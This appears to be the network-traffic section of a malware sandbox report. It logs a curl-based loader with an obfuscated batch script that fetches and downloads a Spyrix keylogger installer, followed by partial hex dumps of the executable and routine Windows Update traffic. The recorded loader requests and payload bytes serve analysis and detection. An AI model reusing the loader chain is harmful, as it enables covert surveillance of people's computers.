2024-10-02 04:10:03 UTC	4096	IN	Data Raw: 32 30 74 63 6c 6f 6a 68 72 32 30 36 63 66 39 75 71 38 71 61 35 6e 67 35 6b 74 68 36 6c 35 33 63 6c 77 30 6b 31 64 33 33 30 72 69 74 33 6a 66 72 76 38 67 76 30 33 79 66 61 63 32 79 6f 6d 64 0d 0a 74 69 6d 65 6f 75 74 20 31 30 0d 0a 72 65 6d 20 61 62 31 33 69 75 72 66 64 6e 6d 32 6d 69 75 71 6a 73 79 6d 6a 6c 33 38 35 74 67 62 75 6f 75 67 78 39 39 66 64 78 74 32 63 70 72 38 6d 32 32 77 38 67 71 70 68 33 67 31 69 32 69 34 37 61 63 34 67 32 69 6f 76 61 67 36 62 75 61 39 79 79 39 62 78 66 6c 38 64 6f 6b 0d 0a 72 65 6d 20 31 65 77 70 6f 70 35 30 6c 71 6e 72 62 6a 38 33 77 35 6f 35 77 70 6d 78 7a 79 65 6e 39 62 37 36 65 65 78 62 67 6a 39 75 66 78 71 63 37 6e 37 6e 73 30 6e 6d 66 66 61 37 36 30 72 30 7a 78 39 6b 78 73 63 71 30 62 7a 38 72 35 32 7a 7a 67 6b 30 6f Data Ascii: 20tclojhr206cf9uq8qa5ng5kth6l53clw0k1d330rit3jfrv8gv03yfac2yomdtimeout 10rem ab13iurfdnm2miuqjsymjl385tgbuougx99fdxt2cpr8m22w8gqph3g1i2i47ac4g2iovag6bua9yy9bxfl8dokrem 1ewpop50lqnrbj83w5o5wpmxzyen9b76eexbgj9ufxqc7n7ns0nmffa760r0zx9kxscq0bz8r52zzgk0o
2024-10-02 04:10:03 UTC	4096	IN	Data Raw: 67 6a 6a 31 63 35 78 75 76 65 66 74 75 38 78 7a 76 62 66 33 0d 0a 69 66 20 6e 6f 74 20 25 65 72 72 6f 72 6c 65 76 65 6c 25 20 45 51 55 20 30 20 28 0d 0a 72 65 6d 20 36 77 72 39 67 76 69 61 77 74 71 70 74 6e 66 34 68 6d 74 33 6a 6b 71 6e 37 30 74 69 67 7a 78 61 75 67 68 71 32 61 6a 72 73 79 72 72 39 77 62 6f 78 66 39 6f 71 69 63 62 72 33 69 76 79 7a 37 70 71 67 71 66 65 36 38 78 30 63 36 34 72 63 30 79 37 6a 72 30 64 77 6d 6c 30 61 79 64 6b 7a 39 76 65 73 38 73 32 37 6a 6c 6e 39 35 71 68 72 62 65 36 74 30 70 35 0d 0a 72 65 6d 20 35 6c 63 65 75 78 6e 75 6b 36 77 36 6f 66 6f 67 67 39 79 6a 33 6e 30 37 63 39 30 67 69 39 6c 73 6e 69 73 71 62 66 69 69 75 31 78 67 36 6c 68 65 7a 72 62 65 30 72 70 62 63 68 70 63 38 64 36 37 70 39 65 70 35 74 30 30 69 39 68 7a 71 Data Ascii: gjj1c5xuveftu8xzvbf3if not %errorlevel% EQU 0 (rem 6wr9gviawtqptnf4hmt3jkqn70tigzxaughq2ajrsyrr9wboxf9oqicbr3ivyz7pqgqfe68x0c64rc0y7jr0dwml0aydkz9ves8s27jln95qhrbe6t0p5rem 5lceuxnuk6w6ofogg9yj3n07c90gi9lsnisqbfiiu1xg6lhezrbe0rpbchpc8d67p9ep5t00i9hzq
2024-10-02 04:10:03 UTC	1406	IN	Data Raw: 31 6a 30 61 6a 74 78 37 6b 6f 31 67 30 38 6f 34 6a 35 0d 0a 72 65 6d 20 78 36 36 36 30 73 6f 68 34 31 78 74 30 36 39 68 73 62 74 73 76 71 7a 33 33 30 72 33 73 6c 65 72 65 63 37 6a 36 33 65 6b 68 75 77 70 7a 62 35 67 73 6b 73 31 7a 61 62 78 6e 36 79 65 69 30 62 75 79 63 64 79 6a 30 66 75 35 77 30 38 64 64 36 6f 61 64 76 70 32 0d 0a 72 65 6d 20 6d 65 6f 71 31 31 38 34 30 68 6b 78 38 7a 64 38 70 30 7a 78 33 7a 78 78 72 61 78 74 72 32 34 70 68 31 6f 77 76 72 6e 38 6a 70 63 30 35 35 65 33 65 39 32 68 31 30 68 70 32 6f 6b 73 6d 78 74 6f 62 71 68 62 39 6d 6f 34 6d 72 33 36 69 34 38 74 67 34 0d 0a 72 65 6d 20 61 6e 37 30 74 39 73 71 67 78 37 31 36 73 69 79 6d 38 36 32 61 37 76 72 65 61 34 6a 71 69 73 6f 6b 70 35 39 6b 66 77 76 6c 6b 74 75 61 7a 70 71 32 79 62 79 Data Ascii: 1j0ajtx7ko1g08o4j5rem x6660soh41xt069hsbtsvqz330r3slerec7j63ekhuwpzb5gsks1zabxn6yei0buycdyj0fu5w08dd6oadvp2rem meoq11840hkx8zd8p0zx3zxxraxtr24ph1owvrn8jpc055e3e92h10hp2oksmxtobqhb9mo4mr36i48tg4rem an70t9sqgx716siym862a7vrea4jqisokp59kfwvlktuazpq2yby

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	167.114.14.170	443	7440	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:07 UTC	110	OUT	GET /loader/link.php?prg_id=sfk HTTP/1.1 Host: cdnbaynet.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:10:09 UTC	165	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:10:09 UTC	74	IN	Data Raw: 33 66 0d 0a 68 74 74 70 73 3a 2f 2f 73 77 74 62 2d 64 6f 77 6e 6c 6f 61 64 2e 73 70 79 72 69 78 2d 73 66 6b 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 73 66 6b 2f 73 66 6b 5f 73 65 74 75 70 2e 65 78 65 0d 0a 30 0d 0a 0d 0a Data Ascii: 3fhttps://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	167.114.14.168	443	7492	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:10 UTC	125	OUT	GET /download/sfk/sfk_setup.exe HTTP/1.1 Host: swtb-download.spyrix-sfk.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:10:10 UTC	380	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:10:10 GMT Content-Type: application/octet-stream Content-Length: 33441448 Connection: close Last-Modified: Wed, 02 Oct 2024 04:09:15 GMT Content-Disposition: attachment; filename="sfk_setup.exe" ETag: "66fcc76b-1fe46a8" Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-Ranges: bytes
2024-10-02 04:10:10 UTC	16004	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-10-02 04:10:10 UTC	16384	IN	Data Raw: 08 c7 ff ff c3 8d 40 00 8b 10 85 d2 74 0e c7 00 00 00 00 00 50 52 e8 f1 c6 ff ff 58 c3 8d 40 00 53 56 89 c3 89 d6 8b 03 85 c0 74 0c c7 03 00 00 00 00 50 e8 d4 c6 ff ff 83 c3 04 4e 75 e8 5e 5b c3 8d 40 00 39 10 74 23 85 d2 0f 84 b8 ff ff ff 8b 4a fc d1 e9 0f 84 ad ff ff ff 51 52 50 e8 a1 c6 ff ff 85 c0 0f 84 6d ff ff ff c3 55 8b ec 81 c4 04 f0 ff ff 50 83 c4 fc 53 56 57 8b f1 89 55 fc 8b f8 85 f6 7f 09 8b c7 e8 7a ff ff ff eb 6c 8d 46 01 3d ff 07 00 00 7d 2f 56 8b 45 08 50 8d 85 fc ef ff ff 8b 4d fc ba ff 07 00 00 e8 b6 fc ff ff 8b d8 85 db 7e 11 8d 95 fc ef ff ff 8b c7 8b cb e8 51 00 00 00 eb 33 8d 5e 01 8b c7 8b d3 e8 d3 00 00 00 56 8b 45 08 50 8b 07 e8 b7 00 00 00 8b 4d fc 8b d3 e8 7d fc ff ff 8b d8 85 db 7d 02 33 db 8b c7 8b d3 e8 ac 00 00 00 5f 5e 5b Data Ascii: @tPRX@SVtPNu^[@9t#JQRPmUPSVWUzlF=}/VEPM~Q3^VEPM}}3_^[
2024-10-02 04:10:10 UTC	16384	IN	Data Raw: 4e 32 e4 c3 80 7d dc 00 74 06 66 b8 2d 00 66 ab c3 e8 ee ff ff ff 0f bf 4d da 31 d2 3b 4d 0c 7f 25 83 f9 fd 7c 20 09 c9 7f 22 66 b8 30 00 66 ab 80 3e 00 74 4b 66 8b 45 f6 66 ab f7 d9 66 b8 30 00 f3 66 ab eb 20 b9 01 00 00 00 42 ac 08 c0 74 20 32 e4 66 ab e2 f5 ac 08 c0 74 1c 32 e4 c1 e0 10 66 8b 45 f6 ab ac 08 c0 74 0d 32 e4 66 ab eb f5 66 b8 30 00 f3 66 ab 09 d2 74 04 31 c0 eb 22 c3 e8 7e ff ff ff e8 6e ff ff ff 66 ab 66 8b 45 f6 66 ab 8b 4d 0c 49 e8 5d ff ff ff 66 ab e2 f7 b4 2b 8b 4d 08 83 f9 04 76 02 31 c9 b0 45 8a 5d dd b7 01 0f bf 55 da 4a e8 e3 fd ff ff c3 e8 41 ff ff ff 8b 55 08 83 fa 12 72 05 ba 12 00 00 00 0f bf 4d da 09 c9 7f 08 66 b8 30 00 66 ab eb 2e 31 db 80 7d 10 02 74 0a 89 c8 48 b3 03 f6 f3 88 e3 43 e8 02 ff ff ff 66 ab 49 74 12 4b 75 f3 Data Ascii: N2}tf-fM1;M%\| "f0f>tKfEff0f Bt 2ft2fEt2ff0ft1"~nffEfMI]f+Mv1E]UJAUrMf0f.1}tHCfItKu
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: e8 ff 74 ff ff 5a 5e 5b c3 00 00 00 b0 04 02 00 ff ff ff ff 1d 00 00 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 65 00 64 00 20 00 62 00 6c 00 6f 00 63 00 6b 00 20 00 69 00 73 00 20 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 64 00 00 00 53 56 57 55 51 8b f9 8b f0 33 c0 89 04 24 8b ea 85 ff 7e 3e 83 7e 18 00 75 0d 83 7e 0c 00 74 32 8b c6 e8 09 ff ff ff 8b df 3b 5e 18 76 03 8b 5e 18 8b d5 8b 46 14 8d 44 06 1c 8b cb e8 a3 64 ff ff 01 5e 14 29 5e 18 03 eb 2b fb 01 1c 24 85 ff 7f c2 8b 04 24 5a 5d 5f 5e 5b c3 90 53 56 57 8b f1 8b fa 8b d8 8b 43 04 85 c0 74 0b 8b d7 8b ce 8b 18 ff 53 04 eb 25 8b d7 8b ce 8b c3 e8 7e ff ff ff 3b f0 74 16 b9 84 cb 40 00 b2 01 a1 dc c4 40 00 e8 b5 cc ff ff e8 14 74 ff ff 5f 5e 5b c3 b0 04 02 00 ff ff ff ff 1d 00 00 Data Ascii: tZ^[Compressed block is corruptedSVWUQ3$~>~u~t2;^v^FDd^)^+$$Z]_^[SVWCtS%~;t@@t_^[
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: 41 00 68 7c 17 41 00 68 60 17 41 00 e8 83 50 ff ff 50 e8 8d 50 ff ff a3 20 85 41 00 83 3d 1c 85 41 00 00 74 09 83 3d 20 85 41 00 00 75 04 33 c0 eb 02 b0 01 a2 24 85 41 00 8d 45 f8 e8 0b a3 ff ff 8b 45 f8 8d 55 fc e8 10 9c ff ff 8d 45 fc ba c4 17 41 00 e8 bb 38 ff ff 8b 45 fc ba 00 80 00 00 e8 9a 95 ff ff 8d 55 f4 b8 fb 3a 78 4c e8 8d a8 ff ff 33 c0 5a 59 59 64 89 10 68 19 17 41 00 8d 45 f4 ba 03 00 00 00 e8 7f 35 ff ff c3 e9 91 27 ff ff eb eb 8b e5 5d c3 00 00 00 57 00 6f 00 77 00 36 00 34 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 57 00 6f 00 77 00 36 00 34 00 46 00 73 00 52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 57 00 6f 00 77 00 36 Data Ascii: Ah\|Ah`APPP A=At= Au3$AEEUEA8EU:xL3ZYYdhAE5']Wow64DisableWow64FsRedirectionkernel32.dllWow6
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: 02 8d 22 b0 e3 2d 73 64 d6 ee 50 f8 ed b3 02 09 8b 0b af 10 c8 a4 fd 03 4b c6 c9 a5 ae db ef 8d 00 26 ce 56 c3 48 d1 4b 10 36 17 48 24 8c 19 42 38 8b 07 03 23 89 29 92 9a fe 8a c2 a2 0d 76 af 3f 91 da d8 6e bd ec 34 75 aa 50 ae cf 81 37 02 98 34 8d 1a a9 2c b5 5a 0b c0 5a 3d 80 a1 59 1e 61 ea c5 40 4e 26 77 05 a2 86 99 52 fd db 67 09 8a 2c bf 00 88 ee 2c 2e 94 ff e5 ba fd 06 6f 04 60 18 3f 2b f1 07 01 79 ad ed 38 c2 be d7 1d f3 9f 98 15 99 8b 5f 27 bc bd de f6 46 31 1a 89 2f 97 8e 95 f3 5d 9f 03 83 67 02 a8 1a 2c 90 b1 d0 76 58 4d 1b 29 fc ea 62 c9 63 01 11 62 c3 27 84 db 9e b6 b7 98 ca bf 21 da a0 12 38 a5 74 82 dc ef fa 1c 18 bc 12 c0 d8 99 94 93 09 b5 4c 77 03 ba da 8e 65 64 2f c2 65 83 b9 1b 10 05 cc 94 e9 ff 7e 5e e1 c3 8f ed 67 7d ba c3 f1 60 c9 b8 Data Ascii: "-sdPK&VHK6H$B8#)v?n4uP74,ZZ=Ya@N&wRg,,.o`?+y8_'F1/]g,vXM)bcb'!8tLwed/e~^g}`
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe a4 62 1f fd 9e 64 dc ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd b0 80 ff fd e7 d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ed e3 ff fd b6 8a ff ff a0 64 ff ff a0 64 Data Ascii: bddddddddddddddddddddddddd
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 ff fd d6 bd ff fe af 7e ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd c2 9d ff ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ddddddddddddd~ddddddddddddddddddddddddddddddd
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ea de ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddd
2024-10-02 04:10:11 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cT+9XekNm5bPwLf&MD=3TyOahlY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:10:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8c3875a3-db07-4cb1-b32c-35675745a383 MS-RequestId: ae0e8c63-5da3-40a7-ae73-fe4f3808e034 MS-CV: 5ZvzYb4naUOwHb3V.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:10:15 GMT Connection: close Content-Length: 24490
2024-10-02 04:10:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-02 04:10:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:54 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cT+9XekNm5bPwLf&MD=3TyOahlY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:10:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 430e6bef-a6c8-43ac-b2d0-49e16de48e1c MS-RequestId: 8b771f8a-9842-430e-acea-440073a1635b MS-CV: JEASimkAyUq5EdIk.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:10:54 GMT Connection: close Content-Length: 30005
2024-10-02 04:10:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-02 04:10:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	158.69.117.119	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:35 UTC	663	OUT	GET / HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:35 UTC	248	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0
